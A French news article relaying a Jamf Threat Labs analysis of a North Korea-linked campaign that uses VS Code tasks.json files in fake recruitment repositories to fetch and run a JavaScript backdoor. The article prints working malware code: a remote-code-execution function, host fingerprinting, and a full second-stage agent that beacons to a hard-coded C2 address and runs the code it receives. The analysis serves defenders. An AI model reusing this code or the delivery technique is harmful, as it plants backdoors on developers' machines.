Les acteurs malveillants nord-coréens étendent leur utilisation abusive de Microsoft Visual Studio Code, infectant les fichiers de configuration des tâches, afin d'exécuter des charges utiles malveillantes

Récemment, Jamf Threat Labs identifie une nouvelle utilisation abusive de Visual Studio Code. À la fin de l'année dernière, Jamf Threat Labs a publié une étude sur la campagne Contagious Interview, attribuée à un acteur malveillant agissant pour le compte de la Corée du Nord (RPDC). La récente découverte de Jamf Threat Labs identifie une autre évolution dans la campagne, découvrant une méthode d'infection jusqu'alors inconnue. Cette activité impliquait le déploiement d'un implant de porte dérobée qui fournit des capacités d'exécution de code à distance sur le système de la victime.

Visual Studio Code (communément appelé VS Code) est un environnement de développement intégré développé par Microsoft pour Windows, Linux, macOS et les navigateurs web. Il offre notamment des fonctionnalités de débogage, de mise en évidence de la syntaxe, de complétion intelligente du code, de snippets, de refactorisation du code et de contrôle de version intégré avec Git. Les utilisateurs peuvent modifier le thème, les raccourcis clavier et les préférences, ainsi qu'installer des extensions qui ajoutent des fonctionnalités, notamment pour étendre ses capacités afin qu'il fonctionne comme un EDI pour d'autres langages.

VS Code possède un magasin d'extensions (Marketplace) qui propose des modules complémentaires qui étendent les fonctionnalités de l'application et offrent davantage d'options de personnalisation. Mais Marketplace est connu pour ses problèmes de sécurité. Selon plusieurs rapports antérieurs, ces lacunes favorisent l'usurpation d'identité des extensions et des éditeurs, ainsi que des extensions qui volent les jetons d'authentification des développeurs. Un rapport a notamment révélé que les attaquants pouvaient facilement se faire passer pour des développeurs légitimes d'extensions populaires et inciter les développeurs inconscients à les télécharger.

Il y a également eu des découvertes dans la nature qui ont été confirmées comme étant malveillantes. En 2024, une équipe de chercheurs israéliens en cybersécurité (Amit Assaraf, Itay Kruk et Idan Dardikman) a mis à l'épreuve la sécurité de Marketplace et a réussi à infecter plus d'une centaine d'organisations en créant un cheval de Troie du thème populaire "Dracula Official" pour y inclure un code à risque. En outre, des recherches plus approfondies menées par l'équipe ont permis de découvrir des milliers d'extensions malveillantes avec des millions d'installations, suscitant de nombreuses préoccupations.

Nom : 1.jpg
Affichages : 5085
Taille : 46,9 Ko

Récemment, Jamf Threat Labs identifie une nouvelle utilisation abusive de Visual Studio Code. À la fin de l'année dernière, Jamf Threat Labs a publié une étude sur la campagne Contagious Interview, attribuée à un acteur malveillant agissant pour le compte de la Corée du Nord (RPDC). À peu près à la même époque, les chercheurs d'OpenSourceMalware (OSM) ont publié des conclusions supplémentaires qui mettaient en évidence une évolution des techniques utilisées au cours des premières phases de la campagne.

Plus précisément, ces nouvelles observations mettent en évidence une technique de diffusion supplémentaire, en plus des techniques basées sur ClickFix déjà documentées. Dans ces cas, la chaîne d'infection abuse des fichiers de configuration des tâches de Microsoft Visual Studio Code, permettant ainsi l'exécution de charges utiles malveillantes sur le système de la victime.

Suite à la découverte de cette technique, Jamf Threat Labs et OSM ont continué à surveiller de près l'activité associée à la campagne. En décembre, Jamf Threat Labs a identifié une nouvelle utilisation abusive des fichiers de configuration tasks.json de Visual Studio Code. Il s'agissait notamment de l'introduction de fichiers de dictionnaire contenant du code JavaScript fortement obscurci, qui s'exécute lorsque la victime ouvre un référentiel malveillant dans Visual Studio Code.

Jamf Threat Labs a partagé ces découvertes avec OSM, qui a ensuite publié une analyse technique plus approfondie du JavaScript obscurci et de son flux d'exécution. La récente découverte de Jamf Threat Labs identifie une autre évolution dans la campagne, découvrant une méthode d'infection jusqu'alors inconnue. Cette activité impliquait le déploiement d'un implant de porte dérobée qui fournit des capacités d'exécution de code à distance sur le système de la victime.

À un niveau élevé, la chaîne d'événements pour le logiciel malveillant se présente comme suit :

Nom : 2.jpg
Affichages : 683
Taille : 41,5 Ko

Voici l'analyse de Jamf Threat Labs :

Infection initiale

Dans cette campagne, l'infection commence lorsque la victime clone et ouvre un référentiel Git malveillant, souvent sous le prétexte d'un processus de recrutement ou d'une mission technique. Les référentiels identifiés dans cette activité sont hébergés sur GitHub ou GitLab et sont ouverts à l'aide de Visual Studio Code.

Lorsque le projet est ouvert, Visual Studio Code invite l'utilisateur à faire confiance à l'auteur du référentiel. Si cette confiance est accordée, l'application traite automatiquement le fichier de configuration tasks.json du référentiel, ce qui peut entraîner l'exécution de commandes arbitraires intégrées sur le système.

Nom : 3.jpg
Affichages : 692
Taille : 53,0 Ko

Sur les systèmes macOS, cela entraîne l'exécution d'une commande shell en arrière-plan qui utilise nohup bash -c en combinaison avec curl -s pour récupérer à distance une charge utile JavaScript et la transférer directement dans le runtime Node.js. Cela permet à l'exécution de se poursuivre indépendamment si le processus Visual Studio Code est interrompu, tout en supprimant toutes les sorties de commande.

Nom : 4.jpg
Affichages : 683
Taille : 39,9 Ko

Dans les cas observés, la charge utile JavaScript est hébergée sur vercel.app, une plateforme de plus en plus utilisée dans les activités récentes liées à la RPDC après l'abandon d'autres services d'hébergement, comme l'a précédemment documenté OpenSourceMalware.

Jamf Threat Labs a signalé le référentiel malveillant identifié à GitHub, après quoi celui-ci a été supprimé. En surveillant l'activité avant sa suppression, ils ont observé que l'URL référencée dans le référentiel changeait à plusieurs reprises. Il est à noter que l'un de ces changements s'est produit après que l'infrastructure d'hébergement de la charge utile précédemment référencée ait été supprimée par Vercel.

La charge utile JavaScript

Une fois l'exécution lancée, la charge utile JavaScript met en œuvre la logique de porte dérobée centrale observée dans cette activité. Bien que la charge utile semble longue, une partie importante du code est constituée de fonctions inutilisées, de logique redondante et de texte superflu qui n'est jamais invoqué pendant l'exécution (SHA256 : 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc) . Ce code supplémentaire augmente la taille et la complexité du script sans avoir d'impact sur son comportement observé. Il est transmis à l'exécutable du nœud sous la forme d'un seul argument volumineux.

En se concentrant sur les composants fonctionnels, la charge utile établit une boucle d'exécution persistante qui collecte des informations de base sur l'hôte et communique avec un serveur de commande et de contrôle (C2) distant. Des identifiants codés en dur sont utilisés pour suivre les infections individuelles et gérer les tâches à partir du serveur.

Fonctionnalité principale de la porte dérobée

Bien que la charge utile JavaScript contienne une quantité importante de code inutilisé, la fonctionnalité principale de la porte dérobée est mise en œuvre à l'aide d'un petit nombre de routines. Ces routines permettent l'exécution de code à distance, l'empreinte digitale du système et la communication C2 persistante.

Capacité d'exécution de code à distance

La charge utile comprend une fonction qui permet l'exécution de JavaScript arbitraire lorsque la porte dérobée est active. Il s'agit là de la fonctionnalité principale de cette porte dérobée.

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
function Hp(_0x2d7a84) {
  try {
    return new Function('require', _0x2d7a84)(require);
  } catch {}
}



Cette fonction permet d'exécuter dynamiquement le code JavaScript fourni sous forme de chaîne au cours du cycle de vie de la porte dérobée. En transmettant la fonction require au contexte d'exécution, le code fourni par l'attaquant peut importer des modules Node.js supplémentaires, ce qui permet d'exécuter d'autres fonctions Node arbitraires.

Empreinte digitale du système et reconnaissance

Pour établir le profil du système infecté, la porte dérobée collecte un petit ensemble d'identifiants au niveau de l'hôte :

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
function Mp() {
  return {
    hostname: _0x2b1193,
    macs: _0x56ed9b,
    os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")"
  };
}



Cette routine recueille le nom d'hôte du système, les adresses MAC des interfaces réseau disponibles et les détails de base du système d'exploitation. Ces valeurs fournissent une empreinte digitale stable qui peut être utilisée pour identifier de manière unique les hôtes infectés et les associer à une campagne ou à une session d'opérateur spécifique.

En plus des identifiants d'hôte locaux, la porte dérobée tente de déterminer l'adresse IP publique de la victime en interrogeant le service externe ipify.org, une technique qui a également été observée dans des campagnes antérieures liées à la Corée du Nord.

Signalisation de commande et de contrôle et exécution des tâches

La communication persistante avec le serveur C2 est mise en œuvre grâce à une routine d'interrogation qui envoie périodiquement des informations sur l'hôte et traite les réponses du serveur. La logique de signalisation est gérée par la fonction suivante :

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function jo() {
  let _0x53639c = await Ip.get('http://87.236.177.9:3000/api/errorMessage', {
    params: {
      sysInfo: _0x358fa0,
      exceptionId: 'env19475',
      instanceId: So
    }
  });
 
  if (_0x53639c.data.status === 'error') {
    Hp(_0x53639c.data.message || "Unknown error");
  }
}
 
setInterval(jo, 0x1388);



Cette fonction envoie périodiquement les données d'empreinte digitale du système à un serveur distant et attend une réponse. La balise s'exécute toutes les cinq secondes, offrant ainsi de fréquentes possibilités d'interaction.

Nom : 5.jpg
Affichages : 662
Taille : 10,5 Ko

La réponse du serveur indique que la connexion a été établie avec succès et permet à la porte dérobée de maintenir une session active en attendant l'attribution d'une tâche.

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Request:
 
GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1
Host: 87.236.177.9:3000
User-Agent: axios/1.13.2
Accept: application/json
Connection: keep-alive
 
-----
 
Response:
 
HTTP/1.1 200 OK
Content-Type: application/json
Connection: timeout=5
 
{"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"}



Si la réponse du serveur contient une valeur d'état spécifique, le contenu du message de réponse est transmis directement à la routine d'exécution de code à distance mentionnée précédemment.

Exécution et instructions supplémentaires

Lors de la surveillance d'un système compromis, Jamf Threat Labs a observé l'exécution d'instructions JavaScript supplémentaires environ huit minutes après l'infection initiale. Le JavaScript récupéré a ensuite configuré une charge utile très similaire à la même infrastructure C2.

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
/opt/homebrew/Cellar/node/24.8.0/bin/node -e 
 let agentId = "d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4"
  const SERVER_IP = "http://87.236.177.9:3000/"
  let handleCode = "8503488878"
 
  const { spawn, spawnSync } = require("child_process");
  const os = require("os");
  const path = require("path");
  const managedPids = new Set();
 
  function stopAllProcesses() {
    for (const pid of managedPids) {
      try {
        if (process.platform === "win32") {
          require("child_process").spawn("taskkill", ["/PID", String(pid), "/T", "/F"], { stdio: "ignore" });
        } else {
          process.kill(-pid, "SIGTERM");
          setTimeout(() => { try { process.kill(-pid, "SIGKILL"); } catch {} }, 1000);
        }
      } catch {}
    }
    managedPids.clear();
  }
 
        async function getSystemInfo() {
      // PC hostname
      const hostname = os.hostname();
 
      // MACs (from all interfaces)
      const macs = Object.values(os.networkInterfaces())
        .flat()
        .filter(Boolean)
        .map(n => n.mac)
        .filter(mac => mac && mac !== "00:00:00:00:00:00");
 
      // OS details
      const osName = os.type();
      const osRelease = os.release();
      const platform = os.platform();
 
      // Public IP
      let publicIp = "unknown";
      try {
        const res = await fetch("https://api.ipify.org?format=json");
        const data = await res.json();
        publicIp = data.ip;
      } catch (err) {
        reportError('deps-address',err)
      }
 
      return {
        hostname,
        publicIp,
        macs,
        os: osName + " " + osRelease + " (" + platform + ")"
      };
    }
 
    async function reportError(type, error) {
      const payload = {
        type,                      // you can adjust type as needed
        hostname: os.hostname(),
        message: error.message || String(error),
        agentId,
        handleCode
      };
      try {
      const url = SERVER_IP + "api/reportErrors"
        const res = await fetch(url, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify(payload),
        });
      } catch (e) {
      }
    }
 
    async function requestServer (sysInfo) {
      new Promise((resolve, reject) => {
        const url = SERVER_IP + "api/handleErrors"
        fetch( url, {
            method: "POST",
            headers: {
              "Content-Type": "application/json"   // telling server we send JSON
            },
            body: JSON.stringify({
              agentId: agentId,
              handleCode: handleCode.toString(),
              sysInfo
            })
        }).then(res => res.json())   // parse JSON response
        .then(data => {
          const {responseCode, messages, status, newAgentId} = data
          if (responseCode) handleCode = responseCode
          if (responseCode == '-1') {
            stopAllProcesses()
            setTimeout(() => process.exit(0), 2000);
          }
          if (newAgentId && newAgentId !== "") agentId = newAgentId
          if (messages && Array.isArray(messages)) {
            for (let i = 0; i < messages.length; i++) {
              const message = messages[i]
              var safeCwd;
              try {
                safeCwd = process.cwd();
              } catch (e) {
                safeCwd = os.homedir();
              }
              try {
                process.on("SIGHUP", () => { /* ignore */ });
                const child = spawn(process.execPath, ["-"], {
                cwd: safeCwd, 
                  detached: true,
                  windowsHide: true,
                  stdio: ["pipe", "ignore", "ignore"]
                });
                child.stdin.write(message);
                child.stdin.end();
                child.on("error", (error) => {
                  reportError('deps-child-main',error)
                });
                child.unref();
                managedPids.add(child.pid);
              } catch (error) {
                reportError("deps-running", error)
              }
            }
          }
          resolve()
        })
        .catch(error => {
          resolve()
          reportError('deps-main',error)
          console.log(error)
        });
      });
    }
 
    const sleep = ms => new Promise(r => setTimeout(r, ms));
 
    (async () => {
      try {
 
      const sysInfo = await getSystemInfo()
      while (true) {
        const timeout = new Promise((_, rej) => setTimeout(() => rej("timeout"), 10_000));
        try {
          await Promise.race([requestServer(sysInfo), timeout]);
          await sleep(5000); // wait 2s after a normal finish
        } catch (e) {
          if (e === "timeout") continue; // timed out → try again immediately
          await sleep(5000);             // other error → wait 2s then retry
        }
      }
      } catch(error) {
       reportError('deps-theard',error)
      }
    })();



L'examen de cette charge utile récupérée révèle quelques détails intéressants...

1. Elle envoie une balise au serveur C2 toutes les 5 secondes, fournissant les détails de son système et demandant d'autres instructions JavaScript.
2. Elle exécute ce JavaScript supplémentaire dans un processus enfant.
3. Elle est capable de s'arrêter elle-même ainsi que les processus enfants et de nettoyer si l'attaquant le lui demande.
4. Il comporte des commentaires et des formulations en ligne qui semblent correspondre à une génération de code assistée par l'IA.

Conclusion

Cette activité met en évidence l'évolution constante des acteurs malveillants liés à la Corée du Nord, qui adaptent en permanence leurs outils et leurs mécanismes de diffusion afin de s'intégrer aux flux de travail légitimes des développeurs. L'utilisation abusive des fichiers de configuration des tâches de Visual Studio Code et de l'exécution de Node.js démontre comment ces techniques continuent d'évoluer parallèlement aux outils de développement couramment utilisés.

Jamf Threat Labs continuera à suivre ces développements à mesure que les acteurs malveillants affinent leurs tactiques et explorent de nouvelles façons de diffuser des logiciels malveillants sur macOS. Il est recommandé vivement aux clients de s'assurer que les fonctions Threat Prevention et Advanced Threat Controls sont activées et réglées en mode blocage dans Jamf for Mac afin de rester protégés contre les techniques décrites dans cette étude.

Les développeurs doivent rester prudents lorsqu'ils interagissent avec des référentiels tiers, en particulier ceux qui sont partagés directement ou proviennent de sources inconnues. Avant de marquer un référentiel comme fiable dans Visual Studio Code, il est important d'en vérifier le contenu. De même, « npm install » ne doit être exécuté que sur des projets qui ont été vérifiés, en accordant une attention particulière aux fichiers package.json, aux scripts d'installation et aux fichiers de configuration des tâches afin d'éviter l'exécution involontaire de code malveillant.

À propos de Jamf

Jamf a pour objectif de simplifier le travail en aidant les organisations à gérer et à sécuriser une expérience Apple appréciée des utilisateurs finaux et à laquelle les organisations font confiance. Jamf est la seule entreprise au monde à fournir une solution complète de gestion et de sécurité pour un environnement Apple-first qui est sécurisé pour les entreprises, simple pour les consommateurs et protège la vie privée. Aujourd'hui, Jamf aide plus de 75 000 organisations dans 100 pays à gérer et sécuriser plus de 30 millions d'appareils.

Source : Jamf

Et vous ?

Pensez-vous que ce rapport est crédible ou pertinente ?
Quel est votre avis sur le sujet ?

Voir aussi :

Des hackers d'un État-nation diffusent des malwares à partir de blockchains « inviolables », l'acteur malveillant nord-coréen UNC5342 utilise EtherHiding pour cacher un malware étatique dans les blockchains

Des chercheurs démontrent qu'une fausse extension VS Code peut être installée plus d'un millier de fois en 48 heures, en faisant passer la fausse extension pour un paquet populaire existant

Le groupe Lazarus cible les développeurs par le biais de paquets NPM et d'attaques de la chaîne d'approvisionnement. Le logiciel malveillant "Marstech1" s'exécute par le biais de dépôts open-source manipulés